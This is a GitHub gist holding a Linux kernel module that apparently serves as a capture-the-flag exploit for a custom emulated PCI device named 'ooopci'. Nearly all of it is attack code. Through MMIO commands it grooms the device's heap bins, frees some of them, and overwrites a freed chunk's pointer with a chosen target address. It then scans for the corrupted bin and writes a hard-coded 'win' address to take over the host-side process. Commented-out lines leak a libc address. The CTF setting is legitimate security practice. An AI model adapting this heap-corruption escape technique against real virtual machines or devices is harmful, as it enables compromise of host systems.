Created
May 14, 2018 20:13
-
-
Save puppykitten/2663b52475095bfafc383b4869ea2625 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <linux/init.h> | |
#include <linux/kernel.h> | |
#include <linux/module.h> | |
#include <linux/pci.h> | |
#include <linux/printk.h> | |
#include <linux/proc_fs.h> | |
#include <linux/seq_file.h> | |
static struct pci_dev *_pdev; | |
static void __iomem *_mmio; | |
static const struct pci_device_id pcidevtbl[] = { | |
{ 0x420, 0x1337, PCI_ANY_ID, PCI_ANY_ID, 0, 0, 0 }, | |
{ } /* terminate */ | |
}; | |
static int ooopci_show(struct seq_file *m, void *v) { | |
int i, len; | |
char *buf; | |
seq_printf(m, "%s", "i cry myself to sleep on defcon nights"); | |
return 0; | |
} | |
static int ooopci_open(struct inode *inode, struct file *file) { | |
// do stuff here | |
/*_mmio = pci_iomap(_pdev, 0, 0); | |
if (!_mmio) { | |
printk(KERN_INFO "pci_iomap failed!\n"); | |
return -ENODEV; | |
} | |
*/ | |
return single_open(file, ooopci_show, NULL); | |
} | |
ssize_t ooopci_write (struct file *file, const char __user *buf, size_t len, | |
loff_t *l) | |
{ | |
return len; | |
} | |
static const struct file_operations proc_fops = { | |
.owner = THIS_MODULE, | |
.open = ooopci_open, | |
.read = seq_read, | |
.llseek = seq_lseek, | |
.release = single_release, | |
}; | |
#define CMD(x) (x << 20) | |
#define IDX(x) (x << 16) | |
#define REQ(cmd, idx, addr) (CMD(cmd) + IDX(idx) + (addr & 0xffff)) | |
static void alloc_bin(int idx, int words) | |
{ | |
int cmd = REQ(0, idx, 0); | |
long val = words; | |
printk(KERN_INFO " allocating bin: %d size: %d cmd: %x\n", idx, 8*words, cmd); | |
iowrite32(val, _mmio + cmd); | |
} | |
static void free_bin(int idx) | |
{ | |
int cmd = REQ(1, idx, 0); | |
long val = 0; | |
printk(KERN_INFO " freeing bin: %d cmd: %x\n", idx, cmd); | |
iowrite32(val, _mmio + cmd); | |
} | |
static void write_bin(int idx, unsigned short offset, long data) | |
{ | |
int cmd = REQ(2, idx, offset); | |
long val = data; | |
printk(KERN_INFO " writing bin: %d addr: %hd data: %lx cmd: %x\n", idx, offset, data, cmd); | |
iowrite32(val, _mmio + cmd); | |
} | |
static unsigned long read_bin(int idx, unsigned short offset) | |
{ | |
int cmd = REQ(0, idx, offset); | |
unsigned ret = ioread32(_mmio + cmd); | |
printk(KERN_INFO " reading bin: %d addr: %hd data: %x cmd: %x\n", idx, offset, ret, cmd); | |
return ret; | |
} | |
static unsigned is_hit(short off) { | |
unsigned long len; | |
int i; | |
for (i = 0;i < 15; i++){ | |
len = read_bin(i, off + 0x18); | |
//len += read_bin(i, off + 0x18 + 4)<<32; | |
printk(KERN_INFO "Test Addr %d : 0x%lx\n", i, len); | |
//if ( (len & 0xffffffffff000000) == (libc & 0xffffffffff000000)) { | |
if ( len == 0x414226) { | |
printk(KERN_INFO "Found potential target\n"); | |
return i; | |
} | |
} | |
return 20; | |
} | |
#define BIN_SIZE 5 | |
static int ooopci_probe(struct pci_dev *pdev, const struct pci_device_id *ent) | |
{ | |
//void __iomem *mmio; | |
char *buf; | |
long len, i; | |
struct proc_dir_entry *proc_entry; | |
printk(KERN_INFO "probed pci dev, trying read.\n"); | |
_mmio = pci_iomap(pdev, 0, 0); | |
if (!_mmio) { | |
printk(KERN_INFO "failed to iomap!\n"); | |
return -ENODEV; | |
} | |
len = ioread32(_mmio); | |
printk(KERN_INFO "length of string: %lx bytes addr: %lx\n", len, _mmio); | |
/* | |
alloc_bin(0, 2); | |
unsigned short val; | |
for (val = 0;val < 0xffff; val += 8) { | |
}*/ | |
/* | |
unsigned long libc; | |
alloc_bin(0, 25); | |
alloc_bin(1, 25); | |
free_bin(0); | |
libc = read_bin(0, 0); | |
libc += read_bin(0, 4)<<32; | |
printk(KERN_INFO "LIBC LEAK: 0x%lx\n",libc); | |
*/ | |
for (i=0; i < 20; i++){ | |
alloc_bin(15, BIN_SIZE); | |
} | |
for (i=0; i < 8; i++){ | |
free_bin(i); | |
} | |
//write_bin(0, 0, 0x1234); | |
long target = 0x11334e3 - 8; | |
// 2 3? 6 7? a b? f? | |
// 0x112C5E2 -> size d6 | |
write_bin(4,0, target & 0xffffffff); | |
write_bin(4,4, (target>>32) & 0xffffffff); | |
len = read_bin(0, 0); | |
/* len = read_bin(0, 4); */ | |
short off = 0x11301A0 - (target + 16); | |
int idx; | |
for (i=0; i<10; i++){ | |
alloc_bin(15, BIN_SIZE); | |
idx = is_hit(off); | |
if (idx < 14){ | |
break; | |
} | |
//dbg | |
//len = read_bin(3, off); | |
} | |
if (i < 10) | |
{ | |
long win = 0x6E65F9; | |
write_bin(idx,off, win & 0xffffffff); | |
write_bin(idx,off + 4, (win>>32) & 0xffffffff); | |
free_bin((idx-1)%15); | |
} | |
proc_entry = proc_create("trigger", 0755, NULL, &proc_fops); | |
//_mmio = mmio; | |
_pdev = pdev; | |
return 0; | |
} | |
static void ooopci_remove(struct pci_dev *pdev) { | |
printk(KERN_INFO "unloaded device\n"); | |
//pci_unregister_driver(&lev_pci_driver); | |
} | |
static struct pci_driver lev_pci_driver = { | |
.name = "ooopci driver", | |
.id_table = pcidevtbl, | |
.probe = ooopci_probe, | |
.remove = ooopci_remove, | |
}; | |
static int __init ooopci_init(void) | |
{ | |
int rc; | |
printk(KERN_INFO "pci device driver online.\n"); | |
rc = pci_register_driver(&lev_pci_driver); | |
if (rc) { | |
printk(KERN_INFO "failed to register driver.\n"); | |
return rc; | |
} | |
return 0; | |
} | |
static void __exit ooopci_exit(void) | |
{ | |
printk(KERN_INFO"driver unloaded :-(\n"); | |
pci_unregister_driver(&lev_pci_driver); | |
remove_proc_entry("trigger", NULL); | |
return; | |
} | |
module_init(ooopci_init); | |
module_exit(ooopci_exit); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment